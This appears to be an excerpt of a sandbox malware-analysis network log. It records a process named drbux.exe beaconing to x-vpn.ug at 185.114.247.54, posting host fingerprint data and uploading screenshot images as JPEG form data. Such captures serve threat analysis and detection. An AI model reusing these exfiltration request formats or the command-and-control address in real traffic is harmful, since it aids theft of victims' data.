Jul 19, 2021 18:36:59.304075003 CEST	21611	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:59 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
335	192.168.2.6	50094	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:59.525228024 CEST	21612	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:59.607876062 CEST	21613	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:59 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
336	192.168.2.6	50095	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:59.638597012 CEST	21613	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----d338b74f750b504e60dd9ff41ae63040 Host: x-vpn.ug Content-Length: 96659 Cache-Control: no-cache
Jul 19, 2021 18:36:59.638782024 CEST	21614	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 33 33 38 62 37 34 66 37 35 30 62 35 30 34 65 36 30 64 64 39 66 66 34 31 61 65 36 33 30 34 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------d338b74f750b504e60dd9ff41ae63040Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:59.639012098 CEST	21624	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:59.639148951 CEST	21626	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:59.731322050 CEST	21627	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:59 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:59.731762886 CEST	21630	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:59.731892109 CEST	21632	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:59.732736111 CEST	21635	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:36:59.732789993 CEST	21638	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:59.733270884 CEST	21643	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:59.734009027 CEST	21647	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:36:59.734046936 CEST	21650	OUT	Data Raw: ac 91 b4 64 2e 20 5d b8 dc 31 d4 60 63 14 c8 bc 4f 68 91 9b 06 d1 ee 9b 49 5d 35 b4 f8 e2 fb 70 f3 c0 69 96 62 c6 53 11 53 f3 0c 00 10 00 0f e2 78 9b ad d3 fa df fe 01 d8 95 2e bf d6 ab fe 09 37 d8 f4 1b 2d 2c 5f 6a b6 1a d4 06 4d 4e 5b 23 08 b9 Data Ascii: d. ]1`cOhI]5pibSSx.7-,_jMN[#@%<\|1Zmc}enod&`R32\.I'kEh..{<^}A@".1.'885\|@/#_{{kiJu@_#^jV_Fd`u[+DRG;8l

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
337	192.168.2.6	50096	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:59.808871031 CEST	21653	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:59.893944979 CEST	21704	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:59 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
338	192.168.2.6	50097	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:37:00.086739063 CEST	21713	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:37:00.165621042 CEST	21713	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:37:00 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
339	192.168.2.6	50098	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:37:00.218688965 CEST	21714	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----d338b74f750b504e60dd9ff41ae63040 Host: x-vpn.ug Content-Length: 96659 Cache-Control: no-cache
Jul 19, 2021 18:37:00.218970060 CEST	21714	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 33 33 38 62 37 34 66 37 35 30 62 35 30 34 65 36 30 64 64 39 66 66 34 31 61 65 36 33 30 34 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------d338b74f750b504e60dd9ff41ae63040Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:37:00.219439983 CEST	21724	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:37:00.220148087 CEST	21727	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:37:00.297730923 CEST	21727	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:37:00 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:37:00.298327923 CEST	21730	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:37:00.298465014 CEST	21733	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:37:00.298916101 CEST	21736	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:37:00.299540997 CEST	21741	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:37:00.299882889 CEST	21746	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:37:00.300431013 CEST	21750	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO
Jul 19, 2021 18:37:00.303057909 CEST	21753	OUT	Data Raw: 50 01 45 14 53 d4 03 8a 4a 5a 4a 40 14 a2 92 96 80 0a 5c 51 4b 4c 41 8a 31 40 a2 98 5c 29 c2 9b 4a 0d 02 14 75 a7 0e f4 da 5a 68 42 d1 45 2d 32 45 c5 26 29 40 a5 03 14 ec 03 71 45 29 a4 a0 10 51 49 45 20 0a 5a 29 0d 00 2d 28 a0 51 4c 05 a5 a4 a5 Data Ascii: PESJZJ@\QKLA1@\)JuZhBE-2E&)@qE)QIE Z)-(QL-!uQE74PE)i)i-%-4&)RR!MJ):JZ(SE:K)xJ*J:iA?4j:p5H3NSLZd2\F;5W&QfRdIiLUhx4FEQ6%

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.6	49771	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:40.677990913 CEST	4245	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----6e2e3119131b79d46801c9ae5fd87945 Host: x-vpn.ug Content-Length: 96835 Cache-Control: no-cache
Jul 19, 2021 18:35:40.678364992 CEST	4245	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 65 32 65 33 31 31 39 31 33 31 62 37 39 64 34 36 38 30 31 63 39 61 65 35 66 64 38 37 39 34 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------6e2e3119131b79d46801c9ae5fd87945Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:40.678596020 CEST	4255	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:40.678750992 CEST	4258	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:40.758196115 CEST	4263	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:40.759004116 CEST	4266	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:35:40.759037018 CEST	4269	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
